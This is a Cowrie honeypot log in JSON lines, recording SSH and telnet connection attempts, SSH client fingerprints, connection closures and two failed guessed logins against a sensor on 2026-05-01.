{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:21.120982Z","src_ip":"159.203.92.129","session":"d583a39abcfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alikes","password":"alikes","message":"login attempt [alikes/alikes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:21.132412Z","src_ip":"159.203.92.129","session":"d583a39abcfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:22.140322Z","src_ip":"159.203.92.129","session":"d583a39abcfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.4553439617157,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:22.588189Z","src_ip":"80.252.221.197","session":"4694fec35a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.23435425758362,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:23.041777Z","src_ip":"159.203.13.64","session":"d0a0fd0f3e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.91688251495361,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:23.175093Z","src_ip":"159.203.13.64","session":"480e88bc4010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.878520488739014,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:24.201472Z","src_ip":"80.252.221.197","session":"115982651999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2334189414978,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:26.788818Z","src_ip":"159.203.13.64","session":"ce10bfe6738c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51974,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0cf96c70bd","protocol":"telnet","message":"New connection: 159.203.13.64:51974 (10.17.0.5:23) [session: af0cf96c70bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:27.140342Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51980,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd1c9bb6b14a","protocol":"telnet","message":"New connection: 159.203.13.64:51980 (10.17.0.5:23) [session: bd1c9bb6b14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:28.224693Z"}
{"eventid":"cowrie.session.closed","duration":37.35283970832825,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:29.869657Z","src_ip":"159.203.13.64","session":"3d7ae7b5d8d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"139a26526318","protocol":"telnet","message":"New connection: 159.203.13.64:51992 (10.17.0.5:23) [session: 139a26526318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:30.559568Z"}
{"eventid":"cowrie.session.closed","duration":35.833263874053955,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:32.867461Z","src_ip":"159.203.13.64","session":"ef2caccc52e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.35499334335327,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:33.074288Z","src_ip":"159.203.13.64","session":"1b71a89917d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37470,"dst_ip":"10.17.0.5","dst_port":23,"session":"562506973561","protocol":"telnet","message":"New connection: 159.203.13.64:37470 (10.17.0.5:23) [session: 562506973561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:35.419779Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b11c0c2676e","protocol":"telnet","message":"New connection: 159.203.13.64:37472 (10.17.0.5:23) [session: 5b11c0c2676e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:35.975049Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37482,"dst_ip":"10.17.0.5","dst_port":23,"session":"b309f9b02b08","protocol":"telnet","message":"New connection: 159.203.13.64:37482 (10.17.0.5:23) [session: b309f9b02b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:36.843635Z"}
{"eventid":"cowrie.session.closed","duration":3.861778974533081,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:39.281444Z","src_ip":"159.203.13.64","session":"562506973561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fb64d7da740","protocol":"telnet","message":"New connection: 159.203.13.64:37498 (10.17.0.5:23) [session: 9fb64d7da740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:39.592189Z"}
{"eventid":"cowrie.session.closed","duration":45.16261339187622,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:40.809535Z","src_ip":"159.203.13.64","session":"2403c21d2da6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.556808948516846,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:41.560960Z","src_ip":"159.203.13.64","session":"f3819f951ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56216,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe3163df60d","protocol":"telnet","message":"New connection: 159.203.13.64:56216 (10.17.0.5:23) [session: afe3163df60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:42.555570Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd595f9e3ab8","protocol":"telnet","message":"New connection: 159.203.13.64:56228 (10.17.0.5:23) [session: dd595f9e3ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:43.026262Z"}
{"eventid":"cowrie.session.closed","duration":43.92122411727905,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:43.061676Z","src_ip":"159.203.13.64","session":"18f192a9f575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88f897882f9","protocol":"telnet","message":"New connection: 159.203.13.64:56234 (10.17.0.5:23) [session: a88f897882f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:43.543386Z"}
{"eventid":"cowrie.session.closed","duration":37.33860945701599,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:43.777466Z","src_ip":"80.252.221.197","session":"ed0126da25ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.897748947143555,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:44.489819Z","src_ip":"159.203.13.64","session":"9fb64d7da740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.73272776603699,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:44.645998Z","src_ip":"159.203.13.64","session":"7f6b5bd95937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.06875395774841,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:45.076383Z","src_ip":"159.203.13.64","session":"f4c868e0b653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56250,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e3b196f78e3","protocol":"telnet","message":"New connection: 159.203.13.64:56250 (10.17.0.5:23) [session: 8e3b196f78e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:46.434534Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8e473618ab","protocol":"telnet","message":"New connection: 159.203.13.64:56256 (10.17.0.5:23) [session: 5f8e473618ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:46.513892Z"}
{"eventid":"cowrie.session.closed","duration":5.140190839767456,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:48.166343Z","src_ip":"159.203.13.64","session":"dd595f9e3ab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.174320936203,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:48.171070Z","src_ip":"159.203.13.64","session":"3885de4dd94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56264,"dst_ip":"10.17.0.5","dst_port":23,"session":"10fe5a6f13b8","protocol":"telnet","message":"New connection: 159.203.13.64:56264 (10.17.0.5:23) [session: 10fe5a6f13b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:49.243437Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56274,"dst_ip":"10.17.0.5","dst_port":23,"session":"c749ca1cb65d","protocol":"telnet","message":"New connection: 159.203.13.64:56274 (10.17.0.5:23) [session: c749ca1cb65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:49.867991Z"}
{"eventid":"cowrie.session.closed","duration":48.79707908630371,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:50.080487Z","src_ip":"159.203.13.64","session":"02fb215f927d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.728821754455566,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:50.481969Z","src_ip":"159.203.13.64","session":"33c9377b2c18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":56280,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d8062f80777","protocol":"telnet","message":"New connection: 159.203.13.64:56280 (10.17.0.5:23) [session: 8d8062f80777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:50.509963Z"}
{"eventid":"cowrie.session.closed","duration":36.234718799591064,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:50.879772Z","src_ip":"80.252.221.197","session":"6b15b8127bd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.973416328430176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:50.922264Z","src_ip":"80.252.221.197","session":"588dd4fa255b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.538222789764404,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:52.051996Z","src_ip":"159.203.13.64","session":"5f8e473618ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66080141067505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:52.223345Z","src_ip":"80.252.221.197","session":"51f1ebeae27f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.96761107444763,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:52.389961Z","src_ip":"80.252.221.197","session":"f3736951d8a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47692799568176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:52.741148Z","src_ip":"80.252.221.197","session":"b74e1540c245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.704965591430664,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:53.335013Z","src_ip":"80.252.221.197","session":"351f2c4fbd4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.579086780548096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:53.648868Z","src_ip":"159.203.13.64","session":"939112603040","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.560224533081055,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:53.923904Z","src_ip":"80.252.221.197","session":"986a58ca70fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.13747477531433,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:54.636683Z","src_ip":"159.203.13.64","session":"f5a7121db75f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.41829562187195,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:54.939953Z","src_ip":"159.203.13.64","session":"f3e653d450f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.74814057350159,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:56.672825Z","src_ip":"159.203.13.64","session":"10dea489c6e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.46708154678345,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:57.287057Z","src_ip":"159.203.13.64","session":"0579bab5cc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":49618,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cd978ee38d","protocol":"telnet","message":"New connection: 80.252.221.197:49618 (159.203.135.109:23) [session: 19cd978ee38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:57.587267Z"}
{"eventid":"cowrie.session.closed","duration":44.59293484687805,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:44:59.041235Z","src_ip":"159.203.13.64","session":"5c01159260ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54870,"dst_ip":"10.17.0.5","dst_port":23,"session":"67feb462328a","protocol":"telnet","message":"New connection: 159.203.13.64:54870 (10.17.0.5:23) [session: 67feb462328a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:00.971595Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d20970374698","protocol":"telnet","message":"New connection: 159.203.13.64:54884 (10.17.0.5:23) [session: d20970374698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:01.744752Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54894,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab2f6366f8b","protocol":"telnet","message":"New connection: 159.203.13.64:54894 (10.17.0.5:23) [session: aab2f6366f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:01.907287Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54902,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a421ec43d95","protocol":"telnet","message":"New connection: 159.203.13.64:54902 (10.17.0.5:23) [session: 5a421ec43d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:03.034588Z"}
{"eventid":"cowrie.session.closed","duration":36.0539436340332,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:04.278548Z","src_ip":"159.203.13.64","session":"bd1c9bb6b14a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.65003967285156,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:05.601049Z","src_ip":"159.203.13.64","session":"ff66b65c2403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54904,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab0e68a709c","protocol":"telnet","message":"New connection: 159.203.13.64:54904 (10.17.0.5:23) [session: 8ab0e68a709c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:05.919271Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57620,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0dcf0451a29","protocol":"ssh","message":"New connection: 159.203.92.129:57620 (159.203.135.109:22) [session: d0dcf0451a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:07.370030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:07.376045Z","src_ip":"159.203.92.129","session":"d0dcf0451a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:07.386310Z","src_ip":"159.203.92.129","session":"d0dcf0451a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alin","password":"123456","message":"login attempt [alin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:07.538926Z","src_ip":"159.203.92.129","session":"d0dcf0451a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54908,"dst_ip":"10.17.0.5","dst_port":23,"session":"80307d20d409","protocol":"telnet","message":"New connection: 159.203.13.64:54908 (10.17.0.5:23) [session: 80307d20d409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:07.584318Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:08.571025Z","src_ip":"159.203.92.129","session":"d0dcf0451a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54916,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0be7312197a","protocol":"telnet","message":"New connection: 159.203.13.64:54916 (10.17.0.5:23) [session: b0be7312197a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:08.870859Z"}
{"eventid":"cowrie.session.closed","duration":35.92200183868408,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:11.896915Z","src_ip":"159.203.13.64","session":"5b11c0c2676e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":41864,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b503e4b5a3f","protocol":"telnet","message":"New connection: 80.252.221.197:41864 (159.203.135.109:23) [session: 9b503e4b5a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:12.490086Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54248,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a61b0145ba","protocol":"telnet","message":"New connection: 159.203.13.64:54248 (10.17.0.5:23) [session: 62a61b0145ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:12.925746Z"}
{"eventid":"cowrie.session.closed","duration":43.8093535900116,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:45:14.368792Z","src_ip":"159.203.13.64","session":"139a26526318","protocol":"telnet"}
